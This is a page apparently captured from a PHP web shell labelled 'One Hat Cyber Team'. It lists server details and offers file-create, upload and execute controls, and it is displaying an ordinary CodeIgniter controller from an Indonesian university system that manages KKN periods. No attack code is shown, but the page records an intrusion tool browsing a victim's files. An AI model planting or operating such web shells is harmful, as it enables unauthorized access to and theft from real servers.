⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
lppm
/
Modules
/
Kkn
/
Controllers
/
Viewing : Kkn.php
<?php namespace Modules\Kkn\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; class Kkn extends BaseController { public function index() { $data['title'] = 'Periode KKN'; $data['li_1'] = 'Daftar KKN'; $data['body'] = 'Modules\Kkn\Views\list'; $data['data'] = $this->db->table('kkn')->where('ta', session('tahun'))->get()->getResult(); return view('backend', $data); } public function detail($id) { $data['title'] = 'Detail KKN'; $data['li_1'] = 'Detail KKN'; $data['body'] = 'Modules\Kkn\Views\detail'; $data['data'] = $this->db->table('peserta_kkn p') ->select('p.id, m.nim, m.nama as nm_mhs, m.jurusan, p.kelompok, dosen.nama as nm_dospem') ->join('dosen', 'p.id_dospem=dosen.id_dosen', 'left') ->join('mhs m', 'p.id_mhs = m.id_mhs') ->join('kkn', 'p.id_kkn = kkn.id') ->where('p.id_kkn', $id)->get()->getResult(); $data['id_kkn'] = $id; $data['dosen'] = $this->db->table('dosen')->get()->getResult(); return view('backend', $data); echo '<pre>'; print_r($data['data']); echo '</pre>'; } /** * API Import & Update Kelompok KKN dari Excel (Versi Optimasi Massal) */ public function uploadKelompokExcel() { // 1. Validasi file yang diunggah oleh user $validationRule = [ 'file_excel' => [ 'label' => 'File Excel', 'rules' => 'uploaded[file_excel]|max_size[file_excel,2048]|ext_in[file_excel,xls,xlsx]', 'errors' => [ 'uploaded' => '{field} wajib diunggah.', 'max_size' => 'Ukuran {field} maksimal 2MB.', 'ext_in' => 'Format {field} harus .xls atau .xlsx' ] ] ]; $id_kkn = $this->request->getPost('data_id'); if (!$this->validate($validationRule)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } // 2. Ambil ID KKN dari parameter (bisa via POST FormData atau URL Query String) if (empty($id_kkn)) { session()->setFlashData(gagal('ID KKN tidak ditemukan')); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } // 3. Ambil file temporary Excel yang baru di-upload $file = $this->request->getFile('file_excel'); $filePath = $file->getTempName(); try { // 4. Load file Excel menggunakan PhpSpreadsheet $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($filePath); $sheetData = $spreadsheet->getActiveSheet()->toArray(); // ==================================================================== // STRATEGI OPTIMASI: KUMPULKAN SEMUA NIM DARI EXCEL TERLEBIH DAHULU // ==================================================================== $allNims = []; $excelMapping = []; // Looping data Excel dimulai dari indeks 2 (Baris ke-3 Excel) for ($i = 2; $i < count($sheetData); $i++) { $nim = trim($sheetData[$i][1] ?? ''); // Kolom B (NIM) $kelompok = $sheetData[$i][4] ?? null; // Kolom E (Kelompok) if (!empty($nim)) { $allNims[] = $nim; // Simpan data kelompok sementara di memori dengan key berupa NIM $excelMapping[$nim] = $kelompok; } } $successCount = 0; $failedNims = []; // Jika ada NIM yang ditemukan di file Excel, jalankan pencarian massal if (!empty($allNims)) { // ==================================================================== // JALANKAN HANYA 1x QUERY UNTUK MENCOCOKKAN SEMUA NIM SEKALIGUS // ==================================================================== $mhsList = $this->db->table('mhs') ->select('id_mhs, nim') ->whereIn('nim', $allNims) ->get() ->getResultArray(); // Buat array pemetaan (mapping) cepat berbasis memori PHP $mhsMapping = []; foreach ($mhsList as $m) { $mhsMapping[$m['nim']] = $m['id_mhs']; } // ==================================================================== // LOOPING KEDUA: PROSES EXECUTE UPDATE KE TABEL PESERTA KKN // ==================================================================== $batchUpdateData = []; foreach ($excelMapping as $nim => $kelompok) { if (isset($mhsMapping[$nim])) { $id_mhs = $mhsMapping[$nim]; // Kumpulkan data ke dalam array batch $batchUpdateData[] = [ 'id_mhs' => $id_mhs, // Kolom acuan (index key) 'kelompok' => $kelompok // Data yang akan diubah ]; $successCount++; } else { $failedNims[] = $nim; } } // Jalankan Batch Update jika ada data yang valid if (!empty($batchUpdateData)) { // Parameter 1: Data array // Parameter 2: Nama kolom yang menjadi acuan WHERE (id_mhs) // Parameter 3: Jumlah baris per baris submit (opsional) $this->db->table('peserta_kkn') ->where('id_kkn', $id_kkn) // Mengunci agar hanya meng-update event KKN ini saja ->updateBatch($batchUpdateData, 'id_mhs'); } // ==================================================================== // VALIDASI AKHIR TRANSAKSI DATABASE // ==================================================================== if ($this->db->transStatus() === false) { $this->db->transRollback(); session()->setFlashData(gagal('Gagal memperbarui data karena terjadi kesalahan database.')); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } $this->db->transCommit(); } // 5. Kembalikan JSON Response Sukses Berbentuk Detail session()->setFlashData(success('Berhasil')); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } catch (\Exception $e) { session()->setFlashData(gagal('Sistem gagal membaca struktur file Excel: ' . $e->getMessage())); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } } public function setDospem(){ $p = $this->request->getPost(); $id_kkn = $p['id_kkn']; $batchUpdateData = []; for($i=1;$i<26;$i++){ if($p['kelompok_'.$i] == ""){ continue; } $kelompok = $i; $id_dospem = $p['kelompok_'.$i]; $batchUpdateData[] = [ 'id_dospem' => $id_dospem, // Kolom acuan (index key) 'kelompok' => $kelompok // Data yang akan diubah ]; } if (!empty($batchUpdateData)) { $this->db->table('peserta_kkn') ->where('id_kkn', $id_kkn) // Mengunci agar hanya meng-update event KKN ini saja ->updateBatch($batchUpdateData, 'kelompok'); } session()->setFlashData(success('Berhasil')); return redirect()->to(base_url('admin/kkn/detail/').$id_kkn); } public function getDospemAll($id){ $dt = $this->db->table('peserta_kkn') ->select('kelompok, id_dospem') ->where('id_kkn', $id) ->groupBy('kelompok') ->groupBy('id_dospem') ->get()->getResult(); return json_encode($dt); } public function get($id = null){ $d = $this->db->table('kkn')->where('id', $id)->get()->getRow(); return json_encode($d); } public function add(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama Periode KKN', 'rules' => 'required|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'tahun_akademik' => [ 'label' => 'Tahun Akademik', 'rules' => 'required|numeric|min_length[5]|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'numeric' => '{field} hanya boleh berisi huruf dan angka.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'tgl_pendaftaran' => [ 'label' => 'Tanggal Pendaftaran', 'rules' => 'required|valid_date[Y-m-d]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'valid_date' => '{field} harus berupa format tanggal yang valid (YYYY-MM-DD).', ], ], 'tgl_mulai' => [ 'label' => 'Tanggal Mulai', 'rules' => 'required|valid_date[Y-m-d]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'valid_date' => '{field} harus berupa format tanggal yang valid (YYYY-MM-DD).', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('admin/kkn')); } $id = Uuid::uuid4()->toString(); $d = [ 'id' => $id, 'nama' => $p['nama'], 'ta' => $p['tahun_akademik'], 'tgl_mulai' => $p['tgl_mulai'], 'tgl_selesai' => $p['tgl_selesai'], 'tgl_pendaftaran' => $p['tgl_pendaftaran'], 'no_surat' => $p['nomor_surat'], ]; if($this->db->table('kkn')->insert($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect('admin/kkn'); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect('admin/kkn'); } } public function delete($id = null){ if($this->db->table('kkn')->where('id', $id)->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); return redirect()->to(base_url('admin/kkn')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('admin/kkn')); } } public function edit(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama Periode KKN', 'rules' => 'required|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'tahun_akademik' => [ 'label' => 'Tahun Akademik', 'rules' => 'required|numeric|min_length[5]|max_length[5]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'numeric' => '{field} hanya boleh berisi huruf dan angka.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'tgl_pendaftaran' => [ 'label' => 'Tanggal Pendaftaran', 'rules' => 'required|valid_date[Y-m-d]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'valid_date' => '{field} harus berupa format tanggal yang valid (YYYY-MM-DD).', ], ], 'tgl_mulai' => [ 'label' => 'Tanggal Mulai', 'rules' => 'required|valid_date[Y-m-d]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'valid_date' => '{field} harus berupa format tanggal yang valid (YYYY-MM-DD).', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('admin/kkn')); } $d = [ 'nama' => $p['nama'], 'ta' => $p['tahun_akademik'], 'tgl_mulai' => $p['tgl_mulai'], 'tgl_selesai' => $p['tgl_selesai'], 'tgl_pendaftaran' => $p['tgl_pendaftaran'], 'no_surat' => $p['nomor_surat'], ]; if($this->db->table('kkn')->where('id', $p['data_id'])->update($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->to(base_url('admin/kkn')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('admin/kkn')); } } }